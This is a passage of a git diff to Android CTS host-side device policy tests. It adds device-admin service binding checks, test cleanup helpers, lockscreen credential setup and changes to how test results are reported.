+                lastThrowable = th;
+            }
+            Thread.sleep(3000);
+        }
+        if (lastThrowable != null) {
+            throw lastThrowable;
+        }
+        fail("Internal error: test didn't run, exception not thrown.");
+    }
+
+    protected abstract void setAsOwnerOrFail(String component) throws Exception;
+
+    public void testAll() throws Throwable {
+        if (!isTestEnabled()) {
+            return;
+        }
+
+        // Install
+        CLog.i("Installing apk1...");
+        installAppAsUser(OWNER_APK_1, getUserId());
+
+        CLog.i("Making it a device/profile owner...");
+        setAsOwnerOrFail(OWNER_COMPONENT);
+
+        withRetry(() -> assertServiceBound(OWNER_SERVICE));
+
+        // Remove admin.
+        CLog.i("Removing admin...");
+        removeAdmin(OWNER_COMPONENT, getUserId());
+        withRetry(() -> assertServiceNotBound(OWNER_SERVICE));
+
+        // Overwrite -> update.
+        CLog.i("Re-installing apk1...");
+        installAppAsUser(OWNER_APK_1, getUserId());
+
+        CLog.i("Making it a device/profile owner...");
+        setAsOwnerOrFail(OWNER_COMPONENT);
+        withRetry(() -> assertServiceBound(OWNER_SERVICE));
+
+        CLog.i("Installing apk2...");
+        installAppAsUser(OWNER_APK_2, getUserId());
+        withRetry(() -> assertServiceBound(OWNER_SERVICE)); // Should still be bound.
+
+        // Service exported -> not bound.
+        CLog.i("Installing apk3...");
+        installAppAsUser(OWNER_APK_3, getUserId());
+        withRetry(() -> assertServiceNotBound(OWNER_SERVICE));
+
+        // Recover.
+        CLog.i("Installing apk2 again...");
+        installAppAsUser(OWNER_APK_2, getUserId());
+        withRetry(() -> assertServiceBound(OWNER_SERVICE));
+
+        // Multiple service found -> not bound.
+        CLog.i("Installing apk4...");
+        installAppAsUser(OWNER_APK_4, getUserId());
+        withRetry(() -> assertServiceNotBound(OWNER_SERVICE));
+        withRetry(() -> assertServiceNotBound(OWNER_SERVICE2));
+
+        // Disable service1 -> now there's only one service, so should be bound.
+        CLog.i("Running testDisableService1...");
+        executeDeviceTestMethod(".ComponentController", "testDisableService1");
+        withRetry(() -> assertServiceNotBound(OWNER_SERVICE));
+        withRetry(() -> assertServiceBound(OWNER_SERVICE2));
+
+        CLog.i("Running testDisableService2...");
+        executeDeviceTestMethod(".ComponentController", "testDisableService2");
+        withRetry(() -> assertServiceNotBound(OWNER_SERVICE));
+        withRetry(() -> assertServiceNotBound(OWNER_SERVICE2));
+
+        CLog.i("Running testEnableService1...");
+        executeDeviceTestMethod(".ComponentController", "testEnableService1");
+        withRetry(() -> assertServiceBound(OWNER_SERVICE));
+        withRetry(() -> assertServiceNotBound(OWNER_SERVICE2));
+
+        CLog.i("Running testEnableService2...");
+        executeDeviceTestMethod(".ComponentController", "testEnableService2");
+        withRetry(() -> assertServiceNotBound(OWNER_SERVICE));
+        withRetry(() -> assertServiceNotBound(OWNER_SERVICE2));
+
+        // Remove admin.
+        CLog.i("Removing admin again...");
+        removeAdmin(OWNER_COMPONENT, getUserId());
+        withRetry(() -> assertServiceNotBound(OWNER_SERVICE));
+
+        // Retry with package 1 and remove admin.
+        CLog.i("Installing apk1 again...");
+        installAppAsUser(OWNER_APK_1, getUserId());
+
+        CLog.i("Making it a device/profile owner again...");
+        setAsOwnerOrFail(OWNER_COMPONENT);
+        withRetry(() -> assertServiceBound(OWNER_SERVICE));
+
+        CLog.i("Removing admin again...");
+        removeAdmin(OWNER_COMPONENT, getUserId());
+        withRetry(() -> assertServiceNotBound(OWNER_SERVICE));
+
+        // Now install package B and make it the owner.  OWNER_APK_1 still exists, but it shouldn't
+        // interfere.
+        CLog.i("Installing apk B...");
+        installAppAsUser(OWNER_APK_B, getUserId());
+
+        CLog.i("Making it a device/profile owner...");
+        setAsOwnerOrFail(OWNER_COMPONENT_B);
+        withRetry(() -> assertServiceNotBound(OWNER_SERVICE));
+        withRetry(() -> assertServiceBound(OWNER_SERVICE_B));
+    }
+
+    private String rumpDumpSysService(String component) throws Exception {
+        final String command = "dumpsys activity services " + component;
+        final String commandOutput = getDevice().executeShellCommand(command);
+        CLog.d("Output for command " + command + ":\n" + commandOutput);
+        return commandOutput;
+    }
+
+    private void assertServiceBound(String component) throws Exception {
+        final String commandOutput = rumpDumpSysService(component);
+        for (String line : commandOutput.split("\r*\n")) {
+            if (line.contains("ConnectionRecord") && line.contains(component)) {
+                return;
+            }
+        }
+        fail("Service " + OWNER_SERVICE + " not bound.  Output was:\n" + commandOutput);
+    }
+
+    private void assertServiceNotBound(String component) throws Exception {
+        final String commandOutput = rumpDumpSysService(component);
+        for (String line : commandOutput.split("\r*\n")) {
+            if (line.contains("ConnectionRecord") && line.contains(component)) {
+                fail("Service " + OWNER_SERVICE + " is bound.  Output was:\n" + commandOutput);
+            }
+        }
+    }
+
+/* When the service is bound, "dumpsys activity services" shows something like this:
+  * ServiceRecord{1525afe u0 com.android.cts.deviceadminservice/.MyService}
+    intent={cmp=com.android.cts.deviceadminservice/.MyService}
+    packageName=com.android.cts.deviceadminservice
+    processName=com.android.cts.deviceadminservice
+    baseDir=/data/app/com.android.cts.deviceadminservice-kXKTlCILmDfib2P76FI75A==/base.apk
+    dataDir=/data/user/0/com.android.cts.deviceadminservice
+    app=ProcessRecord{205d686 22751:com.android.cts.deviceadminservice/u0a143}
+    createTime=-3s957ms startingBgTimeout=--
+    lastActivity=-3s927ms restartTime=-3s927ms createdFromFg=true
+    Bindings:
+    * IntentBindRecord{57d5b47 CREATE}:
+      intent={cmp=com.android.cts.deviceadminservice/.MyService}
+      binder=android.os.BinderProxy@819af74
+      requested=true received=true hasBound=true doRebind=false
+      * Client AppBindRecord{e1d3c9d ProcessRecord{a8162c0 757:system/1000}}
+        Per-process Connections:
+          ConnectionRecord{10ab6b9 u0 CR FGS com.android.cts.deviceadminservice/.MyService:@51e9080}
+    All Connections:
+      ConnectionRecord{10ab6b9 u0 CR FGS com.android.cts.deviceadminservice/.MyService:@51e9080}
+
+  * ConnectionRecord{10ab6b9 u0 CR FGS com.android.cts.deviceadminservice/.MyService:@51e9080}
+    binding=AppBindRecord{e1d3c9d com.android.cts.deviceadminservice/.MyService:system}
+    conn=android.app.LoadedApk$ServiceDispatcher$InnerConnection@51e9080 flags=0x4000001
+ */
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 85e1f7d..2063104 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -16,7 +16,7 @@
 
 package com.android.cts.devicepolicy;
 
-import com.android.cts.migration.MigrationHelper;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.ddmlib.testrunner.TestIdentifier;
 import com.android.ddmlib.testrunner.TestResult;
@@ -34,7 +34,10 @@
 import java.util.Arrays;
 import java.util.Collections;
 import java.util.HashSet;
+import java.util.List;
 import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.TimeUnit;
 
 import javax.annotation.Nullable;
 
@@ -50,10 +53,30 @@
 
     protected static final int USER_OWNER = 0;
 
+    private static final long TIMEOUT_USER_REMOVED_MILLIS = TimeUnit.SECONDS.toMillis(15);
+    private static final long WAIT_SAMPLE_INTERVAL_MILLIS = 200;
+
+    /**
+     * The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
+     * command output from the device. At any time, if the shell command does not output anything
+     * for a period longer than defined timeout the Tradefed run terminates.
+     */
+    private static final long DEFAULT_SHELL_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(20);
+
+    /** instrumentation test runner argument key used for individual test timeout */
+    protected static final String TEST_TIMEOUT_INST_ARGS_KEY = "timeout_msec";
+
+    /**
+     * Sets timeout (in milliseconds) that will be applied to each test. In the
+     * event of a test timeout it will log the results and proceed with executing the next test.
+     */
+    private static final long DEFAULT_TEST_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(10);
+
     // From the UserInfo class
     protected static final int FLAG_PRIMARY = 0x00000001;
     protected static final int FLAG_GUEST = 0x00000004;
     protected static final int FLAG_EPHEMERAL = 0x00000100;
+    protected static final int FLAG_MANAGED_PROFILE = 0x00000020;
 
     protected static interface Settings {
         public static final String GLOBAL_NAMESPACE = "global";
@@ -67,6 +90,9 @@
     private String mPackageVerifier;
     private HashSet<String> mAvailableFeatures;
 
+    /** Packages installed as part of the tests */
+    private Set<String> mFixedPackages;
+
     /** Whether DPM is supported. */
     protected boolean mHasFeature;
     protected int mPrimaryUserId;
@@ -74,6 +100,9 @@
     /** Whether multi-user is supported. */
     protected boolean mSupportsMultiUser;
 
+    /** Whether file-based encryption (FBE) is supported. */
+    protected boolean mSupportsFbe;
+
     /** Users we shouldn't delete in the tests */
     private ArrayList<Integer> mFixedUsers;
 
@@ -89,6 +118,8 @@
         mHasFeature = getDevice().getApiLevel() >= 21 /* Build.VERSION_CODES.L */
                 && hasDeviceFeature("android.software.device_admin");
         mSupportsMultiUser = getMaxNumberOfUsersSupported() > 1;
+        mSupportsFbe = hasDeviceFeature("android.software.file_based_encryption");
+        mFixedPackages = getDevice().getInstalledPackageNames();
 
         // disable the package verifier to avoid the dialog when installing an app
         mPackageVerifier = getDevice().executeShellCommand(
@@ -104,6 +135,8 @@
         switchUser(mPrimaryUserId);
         removeOwners();
         removeTestUsers();
+        // Unlock keyguard before test
+        wakeupAndDismissKeyguard();
     }
 
     @Override
@@ -113,6 +146,7 @@
                 + mPackageVerifier);
         removeOwners();
         removeTestUsers();
+        removeTestPackages();
         super.tearDown();
     }
 
@@ -124,9 +158,9 @@
     protected void installAppAsUser(String appFileName, boolean grantPermissions, int userId)
             throws FileNotFoundException, DeviceNotAvailableException {
         CLog.d("Installing app " + appFileName + " for user " + userId);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
         String result = getDevice().installPackageForUser(
-                MigrationHelper.getTestFile(mCtsBuild, appFileName), true, grantPermissions,
-                userId, "-t");
+                buildHelper.getTestFile(appFileName), true, grantPermissions, userId, "-t");
         assertNull("Failed to install " + appFileName + " for user " + userId + ": " + result,
                 result);
     }
@@ -136,7 +170,7 @@
         executeShellCommand("am force-stop --user " + userId + " " + packageName);
     }
 
-    private void executeShellCommand(final String command) throws Exception {
+    protected void executeShellCommand(final String command) throws Exception {
         CLog.d("Starting command " + command);
         String commandOutput = getDevice().executeShellCommand(command);
         CLog.d("Output for command " + command + ": " + commandOutput);
@@ -182,13 +216,29 @@
         return getDevice().listUsers();
     }
 
-    protected void stopUser(int userId) throws Exception  {
+    protected int getFirstManagedProfileUserId() throws DeviceNotAvailableException {
+        for (int userId : listUsers()) {
+            if ((getUserFlags(userId) & FLAG_MANAGED_PROFILE) != 0) {
+                return userId;
+            }
+        }
+        fail("Managed profile not found");
+        return 0;
+    }
+
+    protected void stopUser(int userId) throws Exception {
+        // Wait for the broadcast queue to be idle first to workaround the stop-user timeout issue.
+        waitForBroadcastIdle();
         String stopUserCommand = "am stop-user -w -f " + userId;
         CLog.d("starting command \"" + stopUserCommand + "\" and waiting.");
         CLog.d("Output for command " + stopUserCommand + ": "
                 + getDevice().executeShellCommand(stopUserCommand));
     }
 
+    private void waitForBroadcastIdle() throws Exception {
+        getDevice().executeShellCommand("am wait-for-broadcast-idle");
+    }
+
     protected void removeUser(int userId) throws Exception  {
         if (listUsers().contains(userId) && userId != USER_SYSTEM) {
             // Don't log output, as tests sometimes set no debug user restriction, which
@@ -201,35 +251,52 @@
     }
 
     protected void removeTestUsers() throws Exception {
-        for (int userId : listUsers()) {
-            if (!mFixedUsers.contains(userId)) {
-                removeUser(userId);
-            }
+        for (int userId : getUsersCreatedByTests()) {
+            removeUser(userId);
         }
     }
 
-    /** Returns true if the specified tests passed. Tests are run as given user. */
-    protected boolean runDeviceTestsAsUser(
-            String pkgName, @Nullable String testClassName, int userId)
-            throws DeviceNotAvailableException {
-        return runDeviceTestsAsUser(pkgName, testClassName, null /*testMethodName*/, userId);
+    /**
+     * Returns the users that have been created since running this class' setUp() method.
+     */
+    protected List<Integer> getUsersCreatedByTests() throws Exception {
+        List<Integer> result = listUsers();
+        result.removeAll(mFixedUsers);
+        return result;
     }
 
-    /** Returns true if the specified tests passed. Tests are run as given user. */
-    protected boolean runDeviceTestsAsUser(
+    /** Removes any packages that were installed during the test. */
+    protected void removeTestPackages() throws Exception {
+        for (String packageName : getDevice().getUninstallablePackageNames()) {
+            if (mFixedPackages.contains(packageName)) {
+                continue;
+            }
+            CLog.w("removing leftover package: " + packageName);
+            getDevice().uninstallPackage(packageName);
+        }
+    }
+
+    protected void runDeviceTestsAsUser(
+            String pkgName, @Nullable String testClassName, int userId)
+            throws DeviceNotAvailableException {
+        runDeviceTestsAsUser(pkgName, testClassName, null /*testMethodName*/, userId);
+    }
+
+    protected void runDeviceTestsAsUser(
             String pkgName, @Nullable String testClassName, String testMethodName, int userId)
             throws DeviceNotAvailableException {
         Map<String, String> params = Collections.emptyMap();
-        return runDeviceTestsAsUser(pkgName, testClassName, testMethodName, userId, params);
+        runDeviceTestsAsUser(pkgName, testClassName, testMethodName, userId, params);
     }
 
-    protected boolean runDeviceTests(
+    protected void runDeviceTests(
             String pkgName, @Nullable String testClassName, String testMethodName)
             throws DeviceNotAvailableException {
-        return runDeviceTestsAsUser(pkgName, testClassName, testMethodName, mPrimaryUserId);
+        runDeviceTestsAsUser(pkgName, testClassName, testMethodName, mPrimaryUserId);
     }
 
-    protected boolean runDeviceTestsAsUser(String pkgName, @Nullable String testClassName,
+    protected void runDeviceTestsAsUser(
+            String pkgName, @Nullable String testClassName,
             @Nullable String testMethodName, int userId,
             Map<String, String> params) throws DeviceNotAvailableException {
         if (testClassName != null && testClassName.startsWith(".")) {
@@ -238,6 +305,9 @@
 
         RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
                 pkgName, RUNNER, getDevice().getIDevice());
+        testRunner.setMaxTimeToOutputResponse(DEFAULT_SHELL_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        testRunner.addInstrumentationArg(
+                TEST_TIMEOUT_INST_ARGS_KEY, Long.toString(DEFAULT_TEST_TIMEOUT_MILLIS));
         if (testClassName != null && testMethodName != null) {
             testRunner.setMethodName(testClassName, testMethodName);
         } else if (testClassName != null) {
@@ -251,9 +321,28 @@
         CollectingTestListener listener = new CollectingTestListener();
         assertTrue(getDevice().runInstrumentationTestsAsUser(testRunner, userId, listener));
 
-        TestRunResult runResult = listener.getCurrentRunResults();
-        printTestResult(runResult);
-        return !runResult.hasFailedTests() && runResult.getNumTestsInState(TestStatus.PASSED) > 0;
+        final TestRunResult result = listener.getCurrentRunResults();
+        if (result.isRunFailure()) {
+            throw new AssertionError("Failed to successfully run device tests for "
+                    + result.getName() + ": " + result.getRunFailureMessage());
+        }
+        if (result.getNumTests() == 0) {
+            throw new AssertionError("No tests were run on the device");
+        }
+
+        if (result.hasFailedTests()) {
+            // build a meaningful error message
+            StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
+            for (Map.Entry<TestIdentifier, TestResult> resultEntry :
+                    result.getTestResults().entrySet()) {
+                if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
+                    errorBuilder.append(resultEntry.getKey().toString());
+                    errorBuilder.append(":\n");
+                    errorBuilder.append(resultEntry.getValue().getStackTrace());
+                }
+            }
+            throw new AssertionError(errorBuilder.toString());
+        }
     }
 
     /** Reboots the device and block until the boot complete flag is set. */
@@ -292,17 +381,6 @@
         return listUsers().size() + numberOfUsers <= getMaxNumberOfUsersSupported();
     }
 
-    private void printTestResult(TestRunResult runResult) {
-        for (Map.Entry<TestIdentifier, TestResult> testEntry :
-                runResult.getTestResults().entrySet()) {
-            TestResult testResult = testEntry.getValue();
-            CLog.d("Test " + testEntry.getKey() + ": " + testResult.getStatus());
-            if (testResult.getStatus() != TestStatus.PASSED) {
-                CLog.d(testResult.getStackTrace());
-            }
-        }
-    }
-
     protected boolean hasDeviceFeature(String requiredFeature) throws DeviceNotAvailableException {
         if (mAvailableFeatures == null) {
             // TODO: Move this logic to ITestDevice.
@@ -354,12 +432,22 @@
     }
 
     protected int createManagedProfile(int parentUserId) throws DeviceNotAvailableException {
-        String command = "pm create-user --profileOf " + parentUserId + " --managed "
-                + "TestProfile_" + System.currentTimeMillis();
-        CLog.d("Starting command " + command);
-        String commandOutput = getDevice().executeShellCommand(command);
-        CLog.d("Output for command " + command + ": " + commandOutput);
+        String commandOutput = getCreateManagedProfileCommandOutput(parentUserId);
+        return getUserIdFromCreateUserCommandOutput(commandOutput);
+    }
 
+    protected void assertCannotCreateManagedProfile(int parentUserId)
+            throws Exception {
+        String commandOutput = getCreateManagedProfileCommandOutput(parentUserId);
+        if (commandOutput.startsWith("Error")) {
+            return;
+        }
+        int userId = getUserIdFromCreateUserCommandOutput(commandOutput);
+        removeUser(userId);
+        fail("Expected not to be able to create a managed profile. Output was: " + commandOutput);
+    }
+
+    private int getUserIdFromCreateUserCommandOutput(String commandOutput) {
         // Extract the id of the new user.
         String[] tokens = commandOutput.split("\\s+");
         assertTrue(commandOutput + " expected to have format \"Success: {USER_ID}\"",
@@ -368,6 +456,16 @@
         return Integer.parseInt(tokens[tokens.length-1]);
     }
 
+    private String getCreateManagedProfileCommandOutput(int parentUserId)
+            throws DeviceNotAvailableException {
+        String command = "pm create-user --profileOf " + parentUserId + " --managed "
+                + "TestProfile_" + System.currentTimeMillis();
+        CLog.d("Starting command " + command);
+        String commandOutput = getDevice().executeShellCommand(command);
+        CLog.d("Output for command " + command + ": " + commandOutput);
+        return commandOutput;
+    }
+
     protected int getPrimaryUser() throws DeviceNotAvailableException {
         return getDevice().getPrimaryUserId();
     }
@@ -535,4 +633,144 @@
             }
         }
     }
+
+    /**
+     * Runs pm enable command to enable a package or component. Returns the command result.
+     */
+    protected String enableComponentOrPackage(int userId, String packageOrComponent)
+            throws DeviceNotAvailableException {
+        String command = "pm enable --user " + userId + " " + packageOrComponent;
+        String result = getDevice().executeShellCommand(command);
+        CLog.d("Output for command " + command + ": " + result);
+        return result;
+    }
+
+    /**
+     * Runs pm disable command to disable a package or component. Returns the command result.
+     */
+    protected String disableComponentOrPackage(int userId, String packageOrComponent)
+            throws DeviceNotAvailableException {
+        String command = "pm disable --user " + userId + " " + packageOrComponent;
+        String result = getDevice().executeShellCommand(command);
+        CLog.d("Output for command " + command + ": " + result);
+        return result;
+    }
+
+    protected interface SuccessCondition {
+        boolean check() throws Exception;
+    }
+
+    protected void assertUserGetsRemoved(int userId) throws Exception {
+        tryWaitForSuccess(() -> !listUsers().contains(userId),
+                "The user " + userId + " has not been removed",
+                TIMEOUT_USER_REMOVED_MILLIS
+                );
+    }
+
+    protected void tryWaitForSuccess(SuccessCondition successCondition, String failureMessage,
+            long timeoutMillis) throws Exception {
+        long epoch = System.currentTimeMillis();
+        while (System.currentTimeMillis() - epoch <= timeoutMillis) {
+            Thread.sleep(WAIT_SAMPLE_INTERVAL_MILLIS);
+            if (successCondition.check()) {
+                return;
+            }
+        }
+        fail(failureMessage);
+    }
+
+    /**
+     * Sets a user restriction via SetPolicyActivity.
+     * <p>IMPORTANT: The package that contains SetPolicyActivity must have been installed prior to
+     * calling this method.
+     * @param key user restriction key
+     * @param value true if we should set the restriction, false if we should clear it
+     * @param userId userId to set/clear the user restriction on
+     * @param packageName package where SetPolicyActivity is installed
+     * @return The output of the command
+     * @throws DeviceNotAvailableException
+     */
+    protected String changeUserRestriction(String key, boolean value, int userId,
+            String packageName) throws DeviceNotAvailableException {
+        return changePolicy(getUserRestrictionCommand(value),
+                " --es extra-restriction-key " + key, userId, packageName);
+    }
+
+    /**
+     * Same as {@link #changeUserRestriction(String, boolean, int, String)} but asserts that it
+     * succeeds.
+     */
+    protected void changeUserRestrictionOrFail(String key, boolean value, int userId,
+            String packageName) throws DeviceNotAvailableException {
+        changePolicyOrFail(getUserRestrictionCommand(value), " --es extra-restriction-key " + key,
+                userId, packageName);
+    }
+
+    /**
+     * Sets some policy via SetPolicyActivity.
+     * <p>IMPORTANT: The package that contains SetPolicyActivity must have been installed prior to
+     * calling this method.
+     * @param command command to pass to SetPolicyActivity
+     * @param extras extras to pass to SetPolicyActivity
+     * @param userId the userId where we invoke SetPolicyActivity
+     * @param packageName where SetPolicyActivity is installed
+     * @return The output of the command
+     * @throws DeviceNotAvailableException
+     */
+    protected String changePolicy(String command, String extras, int userId, String packageName)
+            throws DeviceNotAvailableException {
+        String adbCommand = "am start -W --user " + userId
+                + " -c android.intent.category.DEFAULT "
+                + " --es extra-command " + command
+                + " " + extras
+                + " " + packageName + "/.SetPolicyActivity";
+        String commandOutput = getDevice().executeShellCommand(adbCommand);
+        CLog.d("Output for command " + adbCommand + ": " + commandOutput);
+        return commandOutput;
+    }
+
+    /**
+     * Same as {@link #changePolicy(String, String, int, String)} but asserts that it succeeds.
+     */
+    protected void changePolicyOrFail(String command, String extras, int userId,
+            String packageName) throws DeviceNotAvailableException {
+        String commandOutput = changePolicy(command, extras, userId, packageName);
+        assertTrue("Command was expected to succeed " + commandOutput,
+                commandOutput.contains("Status: ok"));
+    }
+
+    private String getUserRestrictionCommand(boolean setRestriction) {
+        if (setRestriction) {
+            return "add-restriction";
+        }
+        return "clear-restriction";
+    }
+
+    /**
+     * Set lockscreen password / work challenge for the given user, null or "" means clear
+     */
+    protected void changeUserCredential(String newCredential, String oldCredential, int userId)
+            throws DeviceNotAvailableException {
+        final String oldCredentialArgument = (oldCredential == null || oldCredential.isEmpty()) ? ""
+                : ("--old " + oldCredential);
+        if (newCredential != null && !newCredential.isEmpty()) {
+            String commandOutput = getDevice().executeShellCommand(String.format(
+                    "cmd lock_settings set-password --user %d %s %s", userId, oldCredentialArgument,
+                    newCredential));
+            if (!commandOutput.startsWith("Password set to")) {
+                fail("Failed to set user credential: " + commandOutput);
+            }
+        } else {
+            String commandOutput = getDevice().executeShellCommand(String.format(
+                    "cmd lock_settings clear --user %d %s", userId, oldCredentialArgument));
+            if (!commandOutput.startsWith("Lock credential cleared")) {
+                fail("Failed to clear user credential: " + commandOutput);
+            }
+        }
+    }
+
+    protected void wakeupAndDismissKeyguard() throws Exception {
+        executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        executeShellCommand("wm dismiss-keyguard");
+    }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java
index 51b9d30..ed885c5 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java
@@ -30,10 +30,10 @@
     protected static final String LAUNCHER_TESTS_CLASS = LAUNCHER_TESTS_PKG + ".LauncherAppsTests";
     protected static final String PARAM_TEST_USER = "testUser";
 
-    private static final String LAUNCHER_TESTS_APK = "CtsLauncherAppsTests.apk";
-    private static final String LAUNCHER_TESTS_SUPPORT_PKG =
+    protected static final String LAUNCHER_TESTS_APK = "CtsLauncherAppsTests.apk";
+    protected static final String LAUNCHER_TESTS_SUPPORT_PKG =
             "com.android.cts.launchertests.support";
-    private static final String LAUNCHER_TESTS_SUPPORT_APK = "CtsLauncherAppsTestsSupport.apk";
+    protected static final String LAUNCHER_TESTS_SUPPORT_APK = "CtsLauncherAppsTestsSupport.apk";
 
     protected void installTestApps() throws Exception {
         uninstallTestApps();
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
index c361531..4042fd5 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
@@ -16,8 +16,8 @@
 
 package com.android.cts.devicepolicy;
 
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.cts.devicepolicy.BaseDevicePolicyTest.Settings;
-import com.android.cts.migration.MigrationHelper;
 
 import java.io.File;
 import java.lang.Exception;
@@ -38,15 +38,6 @@
     private static final String INTENT_RECEIVER_PKG = "com.android.cts.intent.receiver";
     private static final String INTENT_RECEIVER_APK = "CtsIntentReceiverApp.apk";
 
-    private static final String TEST_APP_APK = "CtsSimpleApp.apk";
-    private static final String TEST_APP_PKG = "com.android.cts.launcherapps.simpleapp";
-    private static final String TEST_APP_LOCATION = "/data/local/tmp/";
-
-    private static final String PACKAGE_INSTALLER_PKG = "com.android.cts.packageinstaller";
-    private static final String PACKAGE_INSTALLER_APK = "CtsPackageInstallerApp.apk";
-    private static final String PACKAGE_INSTALLER_ADMIN_COMPONENT =
-            PACKAGE_INSTALLER_PKG + "/" + ".ClearDeviceOwnerTest$BasicAdminReceiver";
-
     private static final String ACCOUNT_MANAGEMENT_PKG
             = "com.android.cts.devicepolicy.accountmanagement";
     protected static final String ACCOUNT_MANAGEMENT_APK
@@ -77,8 +68,8 @@
 
             // Running this test also gets the intent receiver app out of the stopped state, so it
             // can receive broadcast intents.
-            assertTrue(runDeviceTestsAsUser(INTENT_RECEIVER_PKG, testClass,
-                    "testOwnerChangedBroadcastNotReceived", mPrimaryUserId));
+            runDeviceTestsAsUser(INTENT_RECEIVER_PKG, testClass,
+                    "testOwnerChangedBroadcastNotReceived", mPrimaryUserId);
 
             // Setting the device owner should send the owner changed broadcast.
             assertTrue(setDeviceOwner(DEVICE_OWNER_ADMIN_COMPONENT, mPrimaryUserId,
@@ -86,8 +77,8 @@
 
             // Waiting for the broadcast idle state.
             Thread.sleep(BROADCAST_WAIT_TIME_MILLIS);
-            assertTrue(runDeviceTestsAsUser(INTENT_RECEIVER_PKG, testClass,
-                    "testOwnerChangedBroadcastReceived", mPrimaryUserId));
+            runDeviceTestsAsUser(INTENT_RECEIVER_PKG, testClass,
+                    "testOwnerChangedBroadcastReceived", mPrimaryUserId);
         } finally {
             getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
             assertTrue("Failed to remove device owner.",
@@ -119,40 +110,15 @@
         installAppAsUser(ACCOUNT_MANAGEMENT_APK, mPrimaryUserId);
         installAppAsUser(DEVICE_OWNER_APK, mPrimaryUserId);
         try {
-            assertTrue(runDeviceTestsAsUser(ACCOUNT_MANAGEMENT_PKG, ".AccountUtilsTest",
-                    "testAddAccountExplicitly", mPrimaryUserId));
+            runDeviceTestsAsUser(ACCOUNT_MANAGEMENT_PKG, ".AccountUtilsTest",
+                    "testAddAccountExplicitly", mPrimaryUserId);
             assertFalse(setDeviceOwner(DEVICE_OWNER_ADMIN_COMPONENT, mPrimaryUserId,
                     /*expectFailure*/ true));
         } finally {
             // make sure we clean up in case we succeeded in setting the device owner
             removeAdmin(DEVICE_OWNER_ADMIN_COMPONENT, mPrimaryUserId);
-            assertTrue(runDeviceTestsAsUser(ACCOUNT_MANAGEMENT_PKG, ".AccountUtilsTest",
-                    "testRemoveAccountExplicitly", mPrimaryUserId));
-        }
-    }
-
-    public void testSilentPackageInstall() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        final File apk = MigrationHelper.getTestFile(mCtsBuild, TEST_APP_APK);
-        try {
-            // Install the test and prepare the test apk.
-            installAppAsUser(PACKAGE_INSTALLER_APK, mPrimaryUserId);
-            assertTrue(setDeviceOwner(PACKAGE_INSTALLER_ADMIN_COMPONENT, mPrimaryUserId,
-                    /*expectFailure*/ false));
-
-            getDevice().uninstallPackage(TEST_APP_PKG);
-            assertTrue(getDevice().pushFile(apk, TEST_APP_LOCATION + apk.getName()));
-            assertTrue(runDeviceTestsAsUser(PACKAGE_INSTALLER_PKG,
-                    PACKAGE_INSTALLER_PKG + ".SilentPackageInstallTest", mPrimaryUserId));
-        } finally {
-            assertTrue("Failed to remove device owner.",
-                    removeAdmin(PACKAGE_INSTALLER_ADMIN_COMPONENT, mPrimaryUserId));
-            String command = "rm " + TEST_APP_LOCATION + apk.getName();
-            String commandOutput = getDevice().executeShellCommand(command);
-            getDevice().uninstallPackage(TEST_APP_PKG);
-            getDevice().uninstallPackage(PACKAGE_INSTALLER_PKG);
+            runDeviceTestsAsUser(ACCOUNT_MANAGEMENT_PKG, ".AccountUtilsTest",
+                    "testRemoveAccountExplicitly", mPrimaryUserId);
         }
     }
 
@@ -163,8 +129,8 @@
             // When CTS runs, setupwizard is complete. Expects it has to return false as DO can
             // only be provisioned before setupwizard is completed.
 
-            assertTrue(runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".PreDeviceOwnerTest",
-                    "testIsProvisioningAllowedFalse", /* deviceOwnerUserId */ 0));
+            runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".PreDeviceOwnerTest",
+                    "testIsProvisioningAllowedFalse", /* deviceOwnerUserId */ 0);
         } finally {
             getDevice().uninstallPackage(DEVICE_OWNER_PKG);
         }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java
index 53e9138..51420ea 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java
@@ -52,7 +52,6 @@
             throws DeviceNotAvailableException {
         final String testName = expected ? "testIsProvisioningAllowedTrue"
                 : "testIsProvisioningAllowedFalse";
